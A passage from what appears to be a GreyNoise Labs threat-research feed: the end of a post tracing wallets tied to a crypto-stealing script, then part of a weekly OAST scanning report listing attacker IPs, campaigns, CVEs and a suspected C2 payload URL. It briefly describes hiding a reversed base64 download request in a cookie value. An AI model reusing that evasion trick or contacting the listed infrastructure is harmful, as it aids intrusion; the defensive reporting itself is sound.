<p>What activity are we seeing on these wallets?</p>
<p>The first bitcoin wallet listed was part of a 105 wallet transfer from a much larger wallet. That wallet only gained $126, but the <a href="https://www.blockchain.com/explorer/addresses/btc/bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu">total moved out of the larger wallet was over 12,000 dollars</a>. That’s huge!</p>
<p>The second wallet had no activity.</p>
<p>The third wallet had some activity, though <a href="https://www.blockchain.com/explorer/addresses/btc/36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j">not as much</a>.</p>
<p>The first ethereum wallet had no transactions. The second wallet had <a href="https://www.blockchain.com/explorer/addresses/eth/0x77843290a868e4F789619D8B4D2074BD5DF4C91d">several small transactions from other wallets going into it</a></p>
<p>The first tron wallet has <a href="https://tronscan.org/#/address/TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq">smaller transactions</a>. The second wallet has <a href="https://tronscan.org/#/address/TAM8cBHRFTwVi4o18iQzyUL4JxujyZMPik">$2527.77, mostly in tethered USD token</a>, a stablecoin meant to have a 1:1 value ratio with the US dollar.</p>
<p>The charts tell an interesting story. Let’s start with the bitcoin wallets.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc1.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>To the right are the wallets from the script. To the left are direct transfers into those wallets.</p>
<p>I find it hard to keep track of wallet names when they’re all just the wallet address, so I started labelling them the names from the Super Famicom game Fighting Baseball, infamous for having wonderfully absurd American-ish names.</p>
<p>Things quickly got out of hand.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc2.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>It hurts my eyes to try and look at all this, so let’s zoom in on some transactions I find personally interesting.</p>
<p>Here is something that stuck out to me. I’ve colored transactions from exchange wallets in green and peer to peer transactions in blue.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc3.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>On the 9th of February, we see Todd Bonzalez send 11.70 bitcoin to Raul Chamberlain. The high price for bitcoin on the 9th was $71,369.97 USD, meaning this transaction was for a whopping $835,028.65.</p>
<p>Later that same day, Mark Smoth sends 4.30 bitcoin to Raul, which amounts to about $306,890.87. Three days later, Raul sends Todd 0.0001000 BTC, or about 7 bucks.</p>
<p>Weird! But not <em>directly</em> related to the wallets listed in the script. Let’s get back on track.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc4.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>On January 11th, the wallet labelled “btc” gets $45-$50 each from Onson Sweemey, Darryl Archidald and Sleve McDichael. Why is it all at the same time?</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc5.png" class="img-fluid" alt="Visualization made in MetaSleuth"><br>
The wallet labelled “btc3” got a hundred bucks from Anatoli Smorin on the third, and is otherwise pretty quiet on the income front.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc6.png" class="img-fluid" alt="Visualization made in MetaSleuth"> btc1 is not getting a piece of this pie. Maybe it’s an offline cold wallet? It has no transactions listed online.</p>
<p>Now, let’s see our outbounds.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/btc7.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>Btc and btc 3 each send about 150 bucks to the OKX crypto exchange and Sam Quitter, respectively. Again, no activity from btc1, which makes me suspect a cold wallet.</p>
<p>Let’s look at the ethereum wallets!</p>
<p>The first thing I learned is that the first ethereum wallet listed is actually used for Binance Smart Contract coin.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/eth1.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>The second thing I learned is that it’s mostly small transactions to and from existing exchanges. Small personal wallet trying to get in on the action maybe?</p>
<p>The second ethereum wallet is the good stuff, though.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/eth2.png" class="img-fluid figure-img"></p>
<figcaption>Visualization made in MetaSleuth</figcaption>
</figure>
</div>
<p>They buy a little over $1000 worth of USDcoin, USD Tether and Ethereum, mostly from exchanges or swap wallets (basically a way to try and avoid “gas”, or process fees, through direct trading) before sending a tidy package of about $300 worth of ethereum to the metamask swap router. Metamask is a popular wallet, but also <em>super</em> popular among scammers because it has a reputation for less experienced users and less strict security measures. Metamask was the wallet of choice among NFT-stealing scams during that weird period.</p>
<p>Yes, I am as ashamed of myself for knowing this much about ethereum as you might think. But, job’s gotta be done, and cryptocurrency isn’t referred to as “solving sudoku to buy drugs” for nothing, so I keep tabs on the cryptocurrency scene.</p>
</section>
<section id="what-can-we-make-of-all-this" class="level2">
<h2 class="anchored" data-anchor-id="what-can-we-make-of-all-this">What can we make of all this?</h2>
<p>It seems like the operator of this script has had a fairly successful crypto stealing operation for a minimum of 2 years. They have multiple crypto wallets, operate servers across Hong Kong, Japan and Singapore, and their crypto wallets exhibit transaction behavior similar to what I’ve seen if someone is trying to tumble their coins in between their hot and cold wallets.</p>
<p>The IP address for the malware script was based in Hong Kong, but the comments in the script are in simplified Chinese, which is mostly a thing in China and Singapore. This could mean a Chinese or Singaporean developer, writing comments in the language they know (though English is very popular in Singapore as a lingua franca), a developer in Hong Kong or elsewhere writing in mandarin with the simplified character set to throw people off their trail, or could indicate the use of large language models, which tend to default “chinese” as Mandarin with the simplified character set.</p>
<p>Whatever the true face of this malware developer is, we now have an idea who how they operate, where they operate from, and what kinds of websites they like to target.</p>
<p>As for the backwards base64, boB sent me <a href="https://github.com/nsacyber/Mitigating-Web-Shells/blob/master/extended.webshell_detection.yara">this link</a> that shows exactly what we were looking at. The bot exploits a system, gets nice and cozy, then encodes their request to the refresh and exfiltration script in base64, reverses the string, and makes it look like a cookie value. That indicates that this was either an already-infected system (bad news for our honeypot), or they entered the wrong IP address when sending the request (bad news for the operator).</p>
</section>
<section id="a-rose-by-any-other-name-would-steal-crypto-just-as-openly." class="level2">
<h2 class="anchored" data-anchor-id="a-rose-by-any-other-name-would-steal-crypto-just-as-openly.">A rose by any other name would steal crypto just as openly.</h2>
<p>Historically, Greynoise does not do attribution. However, in my own notes I’ve been naming whoever is operating this thing Aobrej, which is Jerboa backwards.</p>
<p>The Jerboa is an elephant-eared mouselike rodent. The group targets PHP, which has an elephant mascot, and reversing their download command and hiding it as a cookie value made me think of the book “If You Give a Mouse a Cookie” by Laura Joffe Numeroff. So, take something that is an elephant and a mouse, make it backwards, you got Aobrej.</p>
<p>I’ll post followups if I see anything else that looks like Aobrej. For now, I’m going to go get some sleep.</p>


</section>

 ]]></description>
  <category>cryptocurrency</category>
  <category>aobrej</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/</guid>
  <pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/intro.png" medium="image" type="image/png" height="81" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-02-20</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-20-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-20-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>Between February 14 and February 20, 2026, GreyNoise sensors recorded 5,695 OAST domain occurrences across 3,882 distinct sessions originating from 24 unique source IPs. All 5,695 rows decoded successfully (100% decode rate) using the Interactsh encoding scheme, yielding 33 distinct campaign identifiers and 5,560 unique callback domains.</p>
<p>OAST domains appeared across multiple HTTP fields: request bodies (1,724 occurrences, 30.3%), request header values (1,389, 24.4%), request cookies (1,284, 22.5%), URI paths (1,063, 18.7%), user-agent strings (149, 2.6%), and URL paths (86, 1.5%). Compared to the previous week, cookie-based injection increased from 4.7% to 22.5%, indicating a shift in scanning toolkit configurations toward cookie-based payload delivery.</p>
<p>JA4T TCP fingerprint analysis from session data identified 12 unique fingerprints. The Nuclei/loopback cluster (MSS 65495) remains dominant at 2,547 sessions across 15 IPs. Standard Linux signatures (MSS 1460) accounted for 669 sessions. Two anomalous fingerprints provide high-confidence actor tracking: window size 32120 (Private Layer custom stack) and TCP options <code>2-1-1-4-1-3</code> (AnchorFree VPN node).</p>
<p>Seven multi-fingerprint IPs indicate dual-tool deployment. The most notable is 80.87.206.76 (OVH/Alliance LLC Moscow) with 941 sessions split across two Nuclei variants (<code>65495</code> window: 913 sessions; <code>33280</code> window: 28 sessions).</p>
<section id="temporal-analysis" class="level3">
<h3 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h3>
<p>Activity distributed evenly across the week with a partial day on February 20:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Day</th>
<th style="text-align: right;">OAST Count</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Unique IPs</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Feb 14</td>
<td style="text-align: right;">722</td>
<td style="text-align: right;">512</td>
<td style="text-align: right;">7</td>
</tr>
<tr class="even">
<td>Feb 15</td>
<td style="text-align: right;">707</td>
<td style="text-align: right;">512</td>
<td style="text-align: right;">8</td>
</tr>
<tr class="odd">
<td>Feb 16</td>
<td style="text-align: right;">1,215</td>
<td style="text-align: right;">714</td>
<td style="text-align: right;">9</td>
</tr>
<tr class="even">
<td>Feb 17</td>
<td style="text-align: right;">1,176</td>
<td style="text-align: right;">790</td>
<td style="text-align: right;">11</td>
</tr>
<tr class="odd">
<td>Feb 18</td>
<td style="text-align: right;">892</td>
<td style="text-align: right;">665</td>
<td style="text-align: right;">11</td>
</tr>
<tr class="even">
<td>Feb 19</td>
<td style="text-align: right;">840</td>
<td style="text-align: right;">612</td>
<td style="text-align: right;">8</td>
</tr>
<tr class="odd">
<td>Feb 20</td>
<td style="text-align: right;">143</td>
<td style="text-align: right;">77</td>
<td style="text-align: right;">5</td>
</tr>
</tbody>
</table>
<p>February 16-17 saw peak activity coinciding with weekend scanning operations. Burst analysis identified concentrated activity at Feb 19 11:00 UTC (336 sessions from only 2 IPs – Ghosty Networks and Viet Storage), Feb 14 18:00 UTC (305 sessions, 3 IPs), and Feb 18 13:00 UTC (255 sessions, 4 IPs).</p>
<p>The February 20 drop-off reflects incomplete data collection for the final day of the observation window.</p>
</section>
<section id="campaign-analysis" class="level3">
<h3 class="anchored" data-anchor-id="campaign-analysis">Campaign Analysis</h3>
<p>All 33 campaigns map to single-IP operations. Six IPs appear across multiple campaigns, indicating sequential tool runs from the same infrastructure.</p>
<section id="campaign-group-1-viet-storage-high-volume-scanner" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-1-viet-storage-high-volume-scanner">Campaign Group 1: Viet Storage High-Volume Scanner</h4>
<p><strong>IP:</strong> 103.144.87.192 (AS135932, Viet Storage, Vietnam)<br>
<strong>Sessions:</strong> 741 | <strong>Campaigns:</strong> 1 (97a5r) | <strong>OAST Domains:</strong> 2,138</p>
<p>The highest-volume single-IP operation this week, generating 2,138 OAST domains across 741 sessions. Campaign <code>97a5r</code> also appeared in the previous week’s data (Feb 9-13), indicating sustained operation spanning both observation windows. GreyNoise has tracked this IP since 2025-10-14 with 707,471 total hits across 1,183 sensors. Dual JA4T fingerprints: <code>65495</code> (562 sessions) and <code>33280</code> (179 sessions), both with MSS 65495 confirming Nuclei deployment. The domain-to-session ratio of 2.88 (2,138/741) indicates multi-vector payload injection per session.</p>
</section>
<section id="campaign-group-2-ghosty-networks-demenin-b.v." class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-2-ghosty-networks-demenin-b.v.">Campaign Group 2: Ghosty Networks / DEMENIN B.V.</h4>
<p><strong>IP:</strong> 46.151.182.62 (AS205759, Ghosty Networks LLC, Luxembourg)<br>
<strong>Sessions:</strong> 699 (udghn: 615, lqudg: 84) | <strong>OAST Domains:</strong> 921</p>
<p>Brand new infrastructure: GreyNoise first observed this IP on 2026-02-13, only one day before our observation window. Despite its recent appearance, it accumulated 98,647 GreyNoise hits but targets only 1 sensor, suggesting focused targeting. VirusTotal classifies it at 11.8% malicious (11/93 engines) – the highest detection rate among all IPs this week. Censys reveals Ubuntu with OpenSSH 8.9p1, SSH (22), and a Valve/Source Engine gaming protocol on UDP 27015. The gaming server protocol is unusual for a scanning host and may indicate compromised infrastructure. Dual JA4T fingerprints confirm Nuclei deployment.</p>
</section>
<section id="campaign-group-3-ovh-alliance-llc-moscow" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-3-ovh-alliance-llc-moscow">Campaign Group 3: OVH / Alliance LLC Moscow</h4>
<p><strong>IP:</strong> 80.87.206.76 (AS16276, OVH SAS, France)<br>
<strong>Sessions:</strong> 941 | <strong>Campaigns:</strong> 4 (0jgo7, 8jgo7, gjgo7, ojgo7) | <strong>OAST Domains:</strong> 418</p>
<p>The four campaigns share a <code>*jgo7</code> naming pattern, indicating sequential automated tool runs. This is the longest-established scanner observed: GreyNoise first seen 2023-03-23, with 184,902 total hits across 2,599 sensors. Censys WHOIS reveals the actual registrant as <strong>Alliance LLC, Moscow, Russia</strong>, operating through French OVH hosting. Forward DNS resolves to the suspicious domain <code>ir6k1.2monkeyd.online</code>. Gmail-based abuse contact (nocalliance64@gmail.com) instead of corporate email indicates intentional anonymization. ProxyLogon SSRF (CVE-2021-26855) was the primary exploitation focus with 564 sessions. Dual Nuclei JA4T fingerprints with 913/28 session split.</p>
</section>
<section id="campaign-group-4-korea-telecom-burst-scanner" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-4-korea-telecom-burst-scanner">Campaign Group 4: Korea Telecom Burst Scanner</h4>
<p><strong>IP:</strong> 125.133.193.135 (AS4766, Korea Telecom, South Korea)<br>
<strong>Sessions:</strong> 333 | <strong>Campaigns:</strong> 3 (6k0m8, bjh86, h86k0)</p>
<p>An ISP IP running a Proxmox VE virtualization host (confirmed by VirusTotal SSL certificate for misspelled “promox.d”). Censys JA4T shows non-standard TCP option ordering (<code>2-1-3-4-8</code>), matching the VPN/tunnel artifact pattern. JA4T <code>64240_2-4-8-1-3_1460_10</code> with TTL 10 is distinctive. GreyNoise tags include CVE-2026-1731 (BeyondTrust) and CVE-2026-23760 (SmarterMail), both 2026 critical RCE vulnerabilities.</p>
</section>
<section id="campaign-group-5-vultr-single-ip-scanner" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-5-vultr-single-ip-scanner">Campaign Group 5: Vultr Single-IP Scanner</h4>
<p><strong>IP:</strong> 207.148.20.225 (AS20473, Vultr, United States)<br>
<strong>Sessions:</strong> 317 | <strong>Campaigns:</strong> 2 (8jvh2, pk8jv)</p>
<p>Long-established scanner (GreyNoise first seen 2019-05-25), JA4T <code>42340_2-4-8-1-3_1460_10</code> shares the unusual TTL 10 with Korea Telecom IP but different window size. Both campaigns ran Feb 14-18.</p>
</section>
<section id="campaign-group-6-anchorfreehotspot-shield-vpn-exit" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-6-anchorfreehotspot-shield-vpn-exit">Campaign Group 6: AnchorFree/Hotspot Shield VPN Exit</h4>
<p><strong>IP:</strong> 216.105.164.20 (AS9009, M247, United States)<br>
<strong>Sessions:</strong> 293 | <strong>Campaign:</strong> 1 (68ieo)</p>
<p>Censys confirms this is a <strong>commercial Hotspot Shield VPN exit node</strong> operated by AnchorFree (now Aura). Certificate chain uses “Hydra Authentication RSA SubCA #146” (AnchorFree’s proprietary VPN protocol, not malware). The node runs IPSec (IKE), OpenVPN, and Hydra VPN simultaneously, with HashiCorp Consul cluster membership on port 8301. JA4T <code>42340_2-1-1-4-1-3_1460_7</code> with non-standard TCP option ordering (<code>2-1-1-4-1-3</code>) is the AnchorFree VPN stack signature. GreyNoise shows first/last seen both 2026-02-14 – a single-day burst through this VPN exit. The actual scanner is behind the VPN.</p>
</section>
<section id="campaign-group-7-routerhostingcloudzy-mass-scanner" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-7-routerhostingcloudzy-mass-scanner">Campaign Group 7: RouterHosting/Cloudzy Mass Scanner</h4>
<p><strong>IP:</strong> 45.61.131.28 (AS14956, RouterHosting LLC, United States)<br>
<strong>Sessions:</strong> 350 | <strong>Campaigns:</strong> 2 (bpm5j, kpm5j)</p>
<p>Brand new infrastructure (GreyNoise first seen 2026-02-19, 2 days before observation) with 983,466 hits across 4 sensors – extremely high volume for a fresh IP. Censys labels this <strong>BULLETPROOF</strong> (0.75 confidence). Zero exposed services despite massive scanning volume, indicating purpose-built scanner with no inbound access. VirusTotal WHOIS reveals <strong>FranTech Solutions</strong> (PONYNET) as the parent company, with abuse contact at <strong>cloudzy.com</strong> – a documented bulletproof hosting reseller used by ransomware operators and APTs. JA4T <code>64240_2-4-8-1-3_1460_7</code> (standard Linux). Operated only Feb 19-20.</p>
</section>
<section id="campaign-group-8-private-layer-switzerland-continuing" class="level4">
<h4 class="anchored" data-anchor-id="campaign-group-8-private-layer-switzerland-continuing">Campaign Group 8: Private Layer / Switzerland (Continuing)</h4>
<p><strong>IP:</strong> 179.43.146.42 (AS51852, Private Layer INC, Switzerland)<br>
<strong>Sessions:</strong> 175 | <strong>Campaigns:</strong> 3 (7gveu, lgveu, 8gveu)</p>
<p>Continues from last week’s report. Censys confirms <strong>BULLETPROOF</strong> hosting (0.75 confidence). Three exposed services: SSH (22), HTTP auth-protected (8082), and nginx default page (8084). Port 8089 (previously “Restricted”) is no longer visible, suggesting infrastructure rotation. VirusTotal shows the <code>aliyundunupdate.xyz</code> typosquat domain still resolving to this IP, with a new URL <code>http://179.43.146.42/x</code> (Feb 19) suggesting active C2 payload hosting. The unique TCP window size 32120 appears in 101 sessions and serves as a high-confidence single-actor tracking identifier. GreyNoise now tags this IP with both CVE-2026-0770 (Langflow RCE, new this week) and CVE-2026-1731 (BeyondTrust), indicating an expanding exploitation toolkit.</p>
</section>
<section id="remaining-campaigns" class="level4">
<h4 class="anchored" data-anchor-id="remaining-campaigns">Remaining Campaigns</h4>
<table class="caption-top table">
<colgroup>
<col style="width: 9%">
<col style="width: 11%">
<col style="width: 23%">
<col style="width: 25%">
<col style="width: 13%">
<col style="width: 16%">
</colgroup>
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Campaigns</th>
<th>JA4T</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>185.138.89.4</td>
<td>AS215540</td>
<td style="text-align: right;">12</td>
<td style="text-align: right;">1 (ka1vu)</td>
<td><code>64240_2-1-3-1-1-4_1360_8</code></td>
<td>Replaces 46.29.235.157 from last week in same ASN; MSS 1360 = tunnel</td>
</tr>
<tr class="even">
<td>185.250.181.214</td>
<td>AS49232</td>
<td style="text-align: right;">33</td>
<td style="text-align: right;">1 (n4d7k)</td>
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>Standard Linux, NL</td>
</tr>
<tr class="odd">
<td>193.227.109.29</td>
<td>AS48090</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">1 (e8kq8)</td>
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>Standard Linux, DE</td>
</tr>
<tr class="even">
<td>193.32.127.220</td>
<td>AS39351</td>
<td style="text-align: right;">21</td>
<td style="text-align: right;">1 (asnfa)</td>
<td>Mixed (see below)</td>
<td>Sweden, unusual JA4T</td>
</tr>
<tr class="odd">
<td>194.107.161.84</td>
<td>AS204009</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">1 (8ik42)</td>
<td><code>65535_2-4-8-1-3_1460_9</code></td>
<td>TTL 9, FR</td>
</tr>
<tr class="even">
<td>209.38.59.247</td>
<td>AS14061</td>
<td style="text-align: right;">14</td>
<td style="text-align: right;">1 (dg0rn)</td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>DigitalOcean Nuclei</td>
</tr>
<tr class="odd">
<td>209.38.59.248</td>
<td>AS14061</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">1 (1g0rn)</td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>DigitalOcean Nuclei pair</td>
</tr>
<tr class="even">
<td>129.212.209.250</td>
<td>AS31898</td>
<td style="text-align: right;">28</td>
<td style="text-align: right;">1 (t83rm)</td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>Oracle Cloud Nuclei</td>
</tr>
<tr class="odd">
<td>35.194.178.154</td>
<td>AS15169</td>
<td style="text-align: right;">5</td>
<td style="text-align: right;">1 (r9qd8)</td>
<td><code>65320_2-4-8-1-3_1420_7</code></td>
<td>Google Cloud, MSS 1420</td>
</tr>
<tr class="even">
<td>45.61.130.7</td>
<td>AS14956</td>
<td style="text-align: right;">34</td>
<td style="text-align: right;">1 (pm5jt)</td>
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>RouterHosting, same /22 as 45.61.131.28</td>
</tr>
<tr class="odd">
<td>158.94.210.151</td>
<td>AS47583</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">1 (pqk6r)</td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>Hostinger Nuclei</td>
</tr>
<tr class="even">
<td>185.196.9.159</td>
<td>AS44477</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1 (05jjc)</td>
<td><code>64240_2-4-8-1-3_1400_7</code></td>
<td>MSS 1400 (tunnel), NL</td>
</tr>
<tr class="odd">
<td>220.202.152.103</td>
<td>AS4837</td>
<td style="text-align: right;">4</td>
<td style="text-align: right;">1 (nq8bk)</td>
<td>Mixed</td>
<td>China Unicom, only non-noise IP per GreyNoise</td>
</tr>
</tbody>
</table>
<p>Notable: 193.32.127.220 (31173 Services AB, Sweden) uses JA4T <code>65535_2-1-3-1-1-8-4-0_1284_6</code> – a highly anomalous fingerprint with MSS 1284 (low, multi-hop tunnel), TTL 6 (proxy chain), and uncommon TCP option ordering including option 8 and 0. This fingerprint has not been observed in previous weeks.</p>
</section>
</section>
<section id="payload-analysis" class="level3">
<h3 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h3>
<p>Tag-based CVE classification from Arkime session metadata:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 23%">
<col style="width: 23%">
<col style="width: 21%">
<col style="width: 19%">
<col style="width: 12%">
</colgroup>
<thead>
<tr class="header">
<th>Payload Type</th>
<th style="text-align: right;">Occurrences</th>
<th style="text-align: right;">Unique IPs</th>
<th style="text-align: right;">Campaigns</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Log4j RCE (CVE-2021-44228)</td>
<td style="text-align: right;">1,997</td>
<td style="text-align: right;">10</td>
<td style="text-align: right;">12</td>
<td>Continues to dominate OAST volume</td>
</tr>
<tr class="even">
<td>ProxyLogon SSRF (CVE-2021-26855)</td>
<td style="text-align: right;">950</td>
<td style="text-align: right;">5</td>
<td style="text-align: right;">6</td>
<td>OVH/Alliance LLC primary user</td>
</tr>
<tr class="odd">
<td>Generic Suspicious Linux Command</td>
<td style="text-align: right;">771</td>
<td style="text-align: right;">13</td>
<td style="text-align: right;">15</td>
<td>Cross-cutting indicator</td>
</tr>
<tr class="even">
<td>Fastjson RCE</td>
<td style="text-align: right;">173</td>
<td style="text-align: right;">8</td>
<td style="text-align: right;">10</td>
<td>Java deserialization</td>
</tr>
<tr class="odd">
<td>SysAid XXE (CVE-2025-2775/2776/2777)</td>
<td style="text-align: right;">~50</td>
<td style="text-align: right;">3</td>
<td style="text-align: right;">4</td>
<td>2025 CVEs</td>
</tr>
<tr class="even">
<td>Grafana XSS (CVE-2025-4123)</td>
<td style="text-align: right;">~20</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">2</td>
<td>2025 CVE</td>
</tr>
<tr class="odd">
<td>Oracle E-Business (CVE-2025-61882)</td>
<td style="text-align: right;">~10</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">2</td>
<td>2025 CVE</td>
</tr>
<tr class="even">
<td>Ivanti EPMM (CVE-2026-1281)</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
<td>2026 CVE, Korea Telecom IP</td>
</tr>
<tr class="odd">
<td>MCP and SSE Endpoint Scanning</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">3</td>
<td style="text-align: right;">3</td>
<td><strong>New</strong>: AI/LLM infrastructure targeting</td>
</tr>
</tbody>
</table>
<p>The “MCP and SSE endpoint scanning” tag (7 occurrences, 3 IPs) is a new development, reflecting attacker interest in AI/LLM infrastructure exposed via Model Context Protocol and Server-Sent Events endpoints.</p>
<p>Log4j continues to account for the plurality of OAST callbacks despite being over 4 years old. The persistence of Log4j scanning suggests either (a) continued discovery of unpatched instances or (b) Log4j payloads serving as baseline capability tests in automated scanning toolkits.</p>
</section>
<section id="infrastructure-analysis" class="level3">
<h3 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h3>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-20-weekly-oast-report/media/ip-cocurrence.png" class="img-fluid"></p>
<section id="ja4t-fingerprint-clusters" class="level4">
<h4 class="anchored" data-anchor-id="ja4t-fingerprint-clusters">JA4T Fingerprint Clusters</h4>
<div class="line-block">Fingerprint | Window | TCP Options | MSS | TTL | Sessions | IPs | Significance |</div>
<p>|————-|——–|————“|—–|—-:|———”|—-“|————-| | <code>65495_2-4-8-1-3_65495_7</code> | 65495 | Standard | 65495 | 7 | 2,223 | 12 | Nuclei/loopback primary | | <code>64240_2-4-8-1-3_1460_10</code> | 64240 | Standard | 1460 | 10 | 333 | 1 | Korea Telecom, unusual TTL | | <code>33280_2-4-8-1-3_65495_7</code> | 33280 | Standard | 65495 | 7 | 324 | 3 | Nuclei variant | | <code>42340_2-4-8-1-3_1460_10</code> | 42340 | Standard | 1460 | 10 | 317 | 1 | Vultr, TTL 10 match | | <code>42340_2-1-1-4-1-3_1460_7</code> | 42340 | Non-standard | 1460 | 7 | 293 | 1 | AnchorFree VPN stack | | <code>64240_2-4-8-1-3_1460_7</code> | 64240 | Standard | 1460 | 7 | 252 | 5 | Standard Linux | | <code>32120_2-4-8-1-3_1460_7</code> | 32120 | Standard | 1460 | 7 | 102 | 2 | Private Layer unique | | <code>64240_2-1-3-1-1-4_1360_8</code> | 64240 | Non-standard | 1360 | 8 | 15 | 2 | AS215540 tunnel | | <code>65535_2-1-3-1-1-8-4-0_1284_6</code> | 65535 | Non-standard | 1284 | 6 | 15 | 1 | Deep proxy chain | | <code>65320_2-4-8-1-3_1420_7</code> | 65320 | Standard | 1420 | 7 | 5 | 1 | Google Cloud |</p>
<p><strong>Nuclei/loopback cluster</strong> (MSS 65495): 2,547 sessions, 15 IPs. This remains the dominant fingerprint group, accounting for 65.6% of all sessions. The MSS 65495 value is a Linux loopback interface artifact, confirming that scanning tools run locally and route OAST callbacks through the loopback adapter.</p>
<p><strong>Non-standard TCP options cluster</strong>: Three distinct non-standard option orderings observed: - <code>2-1-1-4-1-3</code> (AnchorFree VPN): 293 sessions, confirmed commercial VPN infrastructure - <code>2-1-3-1-1-4</code> (AS215540 tunnel): 15 sessions, MSS 1360 confirms encapsulation overhead - <code>2-1-3-1-1-8-4-0</code> (deep proxy chain): 15 sessions, MSS 1284 and TTL 6 indicate multi-hop traversal</p>
<p><strong>TTL anomalies</strong>: Two IPs share TTL 10 (Korea Telecom and Vultr) despite different window sizes. Standard internet paths produce TTLs of 50-128. TTL 10 suggests either a very close network hop or deliberate TTL manipulation.</p>
</section>
<section id="multi-fingerprint-ips-dual-tool-deployment" class="level4">
<h4 class="anchored" data-anchor-id="multi-fingerprint-ips-dual-tool-deployment">Multi-Fingerprint IPs (Dual-Tool Deployment)</h4>
<table class="caption-top table">
<colgroup>
<col style="width: 8%">
<col style="width: 10%">
<col style="width: 27%">
<col style="width: 20%">
<col style="width: 33%">
</colgroup>
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th>Fingerprints</th>
<th style="text-align: right;">Sessions</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>80.87.206.76</td>
<td>OVH</td>
<td>65495/33280 (both MSS 65495)</td>
<td style="text-align: right;">941</td>
<td>Two Nuclei window variants</td>
</tr>
<tr class="even">
<td>46.151.182.62</td>
<td>Ghosty</td>
<td>65495/33280 (both MSS 65495)</td>
<td style="text-align: right;">746</td>
<td>Two Nuclei window variants</td>
</tr>
<tr class="odd">
<td>103.144.87.192</td>
